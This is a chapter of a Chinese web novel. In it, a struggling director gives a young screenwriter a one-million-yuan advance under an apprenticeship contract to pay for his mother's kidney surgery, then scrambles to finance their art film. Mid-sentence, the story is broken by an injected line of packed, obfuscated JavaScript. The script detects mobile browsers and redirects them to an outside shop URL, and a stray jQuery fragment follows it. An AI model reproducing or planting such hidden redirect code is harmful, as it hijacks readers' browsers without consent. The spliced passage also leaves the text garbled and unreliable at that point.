光耀工作室的角落，像是被时间遗忘的孤岛。陆青然在这儿住了七天，七天里，他几乎没踏出过那方三尺书桌，连吃饭睡觉都蜷缩在这片小天地里。台灯的光从傍晚亮到黎明，在墙上投下他瘦削佝偻的影子，像一株在暗夜里拼命汲取光的野草。
稿纸堆得比他的肩膀还高，每页都写满了密密麻麻的字迹，修改的痕迹层层叠叠，有的地方用红笔圈改，有的地方被墨汁涂掉，露出底下隐约可见的划痕；泡面盒子在桌脚堆成了小山，红烧、老坛、香辣，各种口味的空盒挤在一起，有的盒底还沾着干涸的汤汁，被他随手当成烟灰缸，烟蒂堆得满满当当。他总说“抽烟能提神”，可指尖的烟燃到尽头，烫到皮肤才惊觉，眼里的红血丝却越来越重。
沈小鱼每天都会来两趟，一趟是中午，带一份热乎的家常菜——有时候是番茄炒蛋，有时候是青椒肉丝，都是她从医院食堂打包的，知道陆青然胃不好，特意让师傅少放辣；一趟是深夜，拿着保温杯，里面装着温好的牛奶，轻轻放在他手边。她从不多说一句话，就站在门口看他几秒，看他眉头紧锁地改剧本，看他揉着发酸的眼睛，看他咬着铅笔头发呆，然后悄无声息地转身离开。
她自己的日子，早已被医院和剧组拆成了两半。母亲每天要做透析，她得清晨赶去医院，陪母亲做完治疗，听医生叮嘱注意事项，再匆匆赶往荒原剧组；晚上收工后，又要折回医院，守在母亲床边，直到母亲睡熟，才能拖着疲惫的身体回工作室。有时候太累了，就直接在医院的长椅上眯一会儿，醒来时，身上盖着父亲悄悄送来的外套。
第七天凌晨三点，夜色浓得像化不开的墨。沈小鱼刚从医院回来，母亲刚做完长达四个小时的透析，脸色苍白得像纸，躺在床上睡得不安稳，眉头紧紧皱着。她帮母亲掖好被角，又跟守夜的护士叮嘱了几句，才拖着灌了铅似的腿，慢慢走向工作室——她放心不下陆青然，也想看看剧本改得怎么样了。
工作室的灯果然亮着，暖黄色的光透过窗户，在漆黑的巷子里投下一小块光亮，像暗夜里的一盏灯。沈小鱼轻轻推开虚掩的门，没有发出一点声响。陆青然趴在桌上，后背微微弓着，像是睡着了，黑色的头发乱糟糟地盖在脸上，遮住了大半张脸。
她放轻脚步走过去，想给他盖上一件外套，却在走近时，发现他的肩膀在微微发抖，一耸一耸的，像受了委屈的孩子，压抑着不敢发出声音。桌上的台灯亮着，光线刚好落在他的侧脸上，能看到晶莹的泪珠，顺着他苍白的脸颊往下掉，砸在摊开的稿纸上，晕开了刚写好的字迹。
“青然？”沈小鱼轻声唤他，声音温柔得像羽毛。
陆青然猛地抬起头，眼里满是慌乱，下意识地想擦眼泪，可越擦越多，眼泪像断了线的珠子，止不住地往下掉。他手里紧紧攥着一部老旧的智能手机，屏幕还亮着，上面是一条未读短信，发信人备注是“妹妹”，发送时间是一小时前：“哥，妈不行了。医生说尿毒症已经到晚期，再不做手术就没机会了，手术费要三十万。妈知道家里没钱，说算了，不治了，让我别告诉你，怕你分心。可哥，那是妈啊，我该怎么办？我真的不知道该怎么办了……”
沈小鱼静静地看着他，看他红着眼眶，看他嘴唇哆嗦着，看他手里的手机几乎要被捏碎，心里像被什么东西揪了一下，密密麻麻地疼。她太懂这种感觉了——那种看着亲人病重，却无能为力的绝望，那种明明想拼命抓住，却连手都伸不直的无力。就像她看着母亲躺在病床上，却连医药费都要一点一点凑的自己。
她没有立刻说话，只是拉过旁边的椅子，坐在他对面，静静地陪着他。窗外的风刮过巷子，发出呜呜的声响，台灯的光在两人之间投下柔和的光晕，没有言语，却有着一种无声的共情。
过了很久，陆青然的情绪才稍稍平复，他用力抹了把眼泪，声音沙哑得不成样子：“沈老师，对不起，我……我没控制住。我妈她……”
“我知道。”沈小鱼打断他，拿出自己的手机，拨通了李强的电话，语气平静却带着不容置疑的坚定：“李哥，帮我查个事，现在就查。陆青然，河北沧州青县人，他母亲重病住院，查一下具体的医院、病情诊断书，还有手术费的明细，越详细越好。”
电话那头的李强愣了愣，显然没想到这个点要查这些，但还是立刻应下：“好，沈总，我马上查，半小时内给你回信。”
挂了电话，沈小鱼把手机放在桌上，转头看向陆青然，语气温和：“别慌，先等消息。医生的话有时候是最坏的打算，不一定没有转机。”
陆青然低下头，看着自己的手，手指关节因为用力而泛白：“转机……哪有什么转机。家里早就掏空了，为了给我妈治病，亲戚朋友借遍了，连我妹妹的学费都欠着。我本来以为，写完这个剧本，拿到稿费就能帮衬家里，可现在……”他的声音又开始发抖，“现在连剧本都没定稿，我连十万块都拿不出来，我就是个废物。”
沈小鱼没有劝他“你不是废物”，只是拿起桌上的稿纸，轻轻翻开。第七稿的剧本，字迹工整了许多，修改的痕迹也少了，每一页都写得格外认真，尤其是“画家与林野相遇”的片段，文字里透着一种通透的温柔，比她预想的还要好。她知道，这个年轻人，把自己的孤独、绝望和对光的渴望，都写进了剧本里。
半小时后，李强的电话准时打了过来，语气沉重：“沈总，查清楚了。陆青然母亲在青县人民医院，尿毒症晚期，已经出现了严重的并发症，必须尽快做肾移植手术，手术费加上术前检查，一共要三十万。术后抗排异治疗每年还要十几万，医院已经下了最后通牒，最多再等三天，再不交手术费，就只能保守治疗了。”
沈小鱼静静听着，挂了电话后，从随身的包里拿出一张黑色的银行卡，轻轻推到陆青然面前，语气平静得像在说一件再平常不过的事：“这里面有一百万。密码是你生日，我查过了，1999年3月15号，315315。”
陆青然猛地抬起头，眼睛瞪得大大的，像是不敢相信自己的耳朵，嘴唇哆嗦着，半天说不出一句话：“沈老师，您……您这是什么意思？一百万？这太多了，我……我不能要！”他想把银行卡推回去，手却抖得厉害，连碰都不敢碰那张卡。
“不是给你的，是预支的稿费。”沈小鱼又从抽屉里拿出一份打印好的合同，放在银行卡旁边，“《荒原之诗》的剧本，我买了，这一百万是预付稿费。但合同里有个附加条款，你看看。”
陆青然疑惑地拿起合同，飞快地翻到最后一页，只见那段用红笔圈出来的文字格外醒目：“乙方陆青然，自愿接受甲方光耀工作室委托，担任《荒原之诗》编剧一职。甲方预支乙方稿费一百万，用于乙方母亲医疗开支。乙方须在《荒原之诗》拍摄期间，全程跟随导演沈小鱼学习导演工作，包括剧本打磨、现场调度、镜头运用等，直至能独立执导一部院线电影为止。学习期间，甲方负责乙方食宿及基本生活开支，无额外报酬。若乙方中途退出学习或拒绝履行约定，须全额返还甲方预支的一百万稿费，并承担相应违约金。”
沈小鱼抬眼看他，眼神清澈而坚定，没有一丝施舍的意味，只有平等的约定：“简单说，你不是白拿这笔钱。你把你未来的导演生涯，‘卖’给我三年。这三年里，你跟着我学，我教你怎么当一个不糟蹋好剧本、不向资本妥协的导演。接受吗？”
陆青然的手抖得更厉害了，他拿起那张银行卡，又放下，又重新拿起，眼泪大颗大颗地砸在合同上，晕开了红色的字迹。他看着沈小鱼，看着这个自己认识还不到十天的女人，看着她眼底的红血丝，看着她身上洗得发白的外套，忽然想起李强无意间说过的话——沈总自己的母亲也重病住院，工作室账上连房租都快交不起了。
“为什么？”他声音嘶哑得像被砂纸磨过，“沈老师，我的剧本……不值一百万。我查过，行业里新人编剧的剧本，最多也就十万块，好一点的二十万。我这个……就是个冷门的文艺故事，根本没人愿意拍，它不值这么多钱……”
“在你眼里，它值十万。在我眼里，它值一百万。”沈小鱼打断他，语气郑重，“我见过太多好剧本，死在不懂戏的导演手里，死在急功近利的资本手里。你有才华，有灵气，更懂‘绝境里找光’的感觉，这种感觉，是很多科班出身的编剧都没有的。我要的不是一个只会写剧本的编剧，是一个能把自己的故事拍出来的导演。”
她站起来，走到窗边，看着外面漆黑的夜空，声音很轻，却字字有力：“青然，你知道中国每年有多少编剧转行吗？百分之七十。有的是写了十几年剧本，一部都没拍过；有的是拍出来的作品，被改得面目全非，连自己都认不出来；有的是为了活下去，不得不写自己不喜欢的狗血剧本，慢慢磨掉了灵气。”
她转身，重新看向他，眼里带着一种期许：“我要你活着——用这笔钱，救你母亲的命。我也要你成才——跟着我，学怎么守住自己的故事，学怎么在这个烂圈子里，做一个能拍自己想拍的戏的导演。这不是施舍，是交易，是我对你的投资。”
陆青然再也忍不住，“扑通”一声跪了下来，膝盖撞在水泥地上，发出沉闷的响声。他额头抵着地面，哭得浑身发抖，像个迷路的孩子终于找到了方向：“沈老师……我……我不知道怎么谢您……我这辈子……都还不清……”
“不用谢，也不用一辈子还。”沈小鱼赶紧蹲下来，扶着他的胳膊，把他拉起来，“要谢，就好好写剧本，好好学导演，好好活。等你将来成了大导演，去发现下一个藏在地下室里的陆青然，去救下一个快要被生活压垮的编剧，去拍更多像《荒原之诗》一样的戏——这就是对我最好的感谢。”
她从桌上拿起一支笔，递到他手里：“签吧。签完，我让李哥现在就送你回河北，钱我已经跟银行打过招呼了，直接打到医院的账户上，不用经手任何人，避免出意外。”
陆青然接过笔，手还在抖，但签名字的时候，却异常用力，每一笔都透着坚定。“陆青然”三个字，落在合同上，像是某种庄严的誓约，ink渗透纸张，印在底下的稿纸上，和剧本里的文字，紧紧贴在一起。
签完字，他抬起头，眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955385|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红肿，却眼神清澈而坚定：“沈老师，我向您保证，我一定会好好学，一定会拍出好作品，绝不会让您失望。”
“我相信你。”沈小鱼笑了，眼底的疲惫，瞬间被光芒取代。
第二天一早，李强就开车赶来了工作室，要送陆青然回河北。临行前，沈小鱼塞给他一个厚厚的信封，语气温柔：“里面是你母亲的病历复印件，还有我托北京协和医院的专家写的会诊意见，你带给主治医生，看看能不能调整一下手术方案，术后恢复会好一些。手术做完，直接把你母亲接来北京康复，我已经联系好了康复医院，费用我来出。”
陆青然握着那个信封，又要往下跪，被李强一把拎住了胳膊：“行了小子，别动不动就跪！沈总不需要你磕头谢恩，真要报答她，就把剧本写好，把戏拍好，将来成个人物，别给她丢脸。”
陆青然用力点头，眼泪又掉了下来，他看向沈小鱼，深深鞠了一躬：“沈老师，等我妈手术成功，我马上回来，跟您一起拍《荒原之诗》。”
“好。”沈小鱼笑着点头，看着车慢慢驶离，直到消失在街角，才缓缓收起笑容，拿出手机——屏幕上，是医院发来的缴费通知：“您母亲本月透析及治疗费用共计十五万元，请于三日内缴清，逾期将影响后续治疗。”
她点开自己的银行账户，余额显示：七万三千二百一十四元。昨晚给陆青然转了一百万，那是她咬牙抵押了自己唯一一套小公寓换来的钱，原本是想留着给母亲应急的，现在，只剩下这七万多了。
还差八万。
她深吸一口气，拨通了徐燃的电话，语气尽量平静：“徐总，那三百万的投资，有消息了吗？”
电话那头的徐燃，声音疲惫得像熬了好几个通宵，带着浓浓的沙哑：“还在谈。股东们态度很强硬，说除非看到完整的剧本和详细的预算表，否则一分钱都不会追加。他们还说，就算有剧本，文艺片也没市场，投进去就是打水漂。”
“剧本有了，陆青然已经改完了第七稿，没问题。”沈小鱼说，“预算表，我今晚就能做出来，明天发给你。”
“沈老师，”徐燃顿了顿，语气里带着一丝犹豫，还有一丝担忧，“我知道你想把这部戏拍出来，可我得跟你说句实话。如果……我是说如果，最后真的拉不到投资，你怎么办？你已经抵押了房子，给陆青然拿了一百万，你手里已经没什么能抵押的了。”
沈小鱼靠在墙上，看着远处灰蒙蒙的天，想了想，声音平静却坚定：“那就用我自己的钱拍。抵押工作室，抵押基金会的经营权，抵押我未来十年的片约，只要能凑够钱，我什么都能抵押。”
“你疯了？”徐燃的声音一下子提高了，“沈小鱼，你知不知道你在说什么？要是这部戏输了，你会负债累累，一辈子都还不清！你还有你母亲要养，你不能这么赌！”
“我知道。”沈小鱼笑了，笑声里带着一丝释然，还有一丝孤勇，“徐总，你知道我最不怕什么吗？不怕输。因为我输过太多次了——破产输过，负债输过，母亲病重我也输过，输着输着就明白了，只要人还活着，只要心里的那点光没灭，就总能重来。”
电话那头，徐燃沉默了很久，久到沈小鱼以为他挂了电话，才听见他沉重的声音：“沈小鱼，你真他妈是个疯子。”
“嗯，我是疯子。”沈小鱼点头，语气里带着一丝俏皮，还有一丝坚定，“所以，你要跟疯子合作吗？要跟我一起，赌一把吗？”
“跟。”徐燃的声音突然变得坚定，没有一丝犹豫，“我马上订机票回北京，下午就到。剧本我要看，预算表我要审，股东那边，我去谈。既然要疯，咱们就疯到底，不撞南墙不回头！”
挂了电话，沈小鱼走进工作室，打开电脑。屏幕亮起，她新建了一个文档，标题是《荒原之诗》预算表。演员片酬（零片酬为主，只给少量补贴）、场地租赁费（和西北影视基地谈低价）、设备租赁费（找朋友借一部分）、后期制作费（找刚毕业的学生团队，低价合作）……每一项都压到了最低，一笔一笔地算，一遍一遍地核对。
窗外的天，渐渐亮了。第一缕阳光透过窗户，照在电脑屏幕上，照在她疲惫却坚定的脸上。预算表的最后一行，总金额清晰地显示着：三百零二万。
三百万，对现在的她来说，是遥不可及的天价，是压在她肩上的大山。可对《荒原之诗》来说，是底线，是能把故事拍出来的最低成本。
沈小鱼看着屏幕上的数字，轻轻叹了口气，却又忍不住笑了。她知道，真正的战争，才刚刚打响。
五大平台的打压还在继续，股东们的质疑从未停止，母亲的医药费还没凑够，三百万的投资缺口像一座大山挡在面前……可她不再像之前那样绝望。
因为她知道，她不是一个人。有徐燃陪她疯，有李强他们陪她扛，有陆青然为了母亲、为了剧本拼命，有母亲在医院里等着她，有无数个藏在暗处、期待好内容的人，在等着《荒原之诗》。
她拿起手机，给徐燃发了一条短信：“预算表已做好，等你回来。咱们，一战到底。”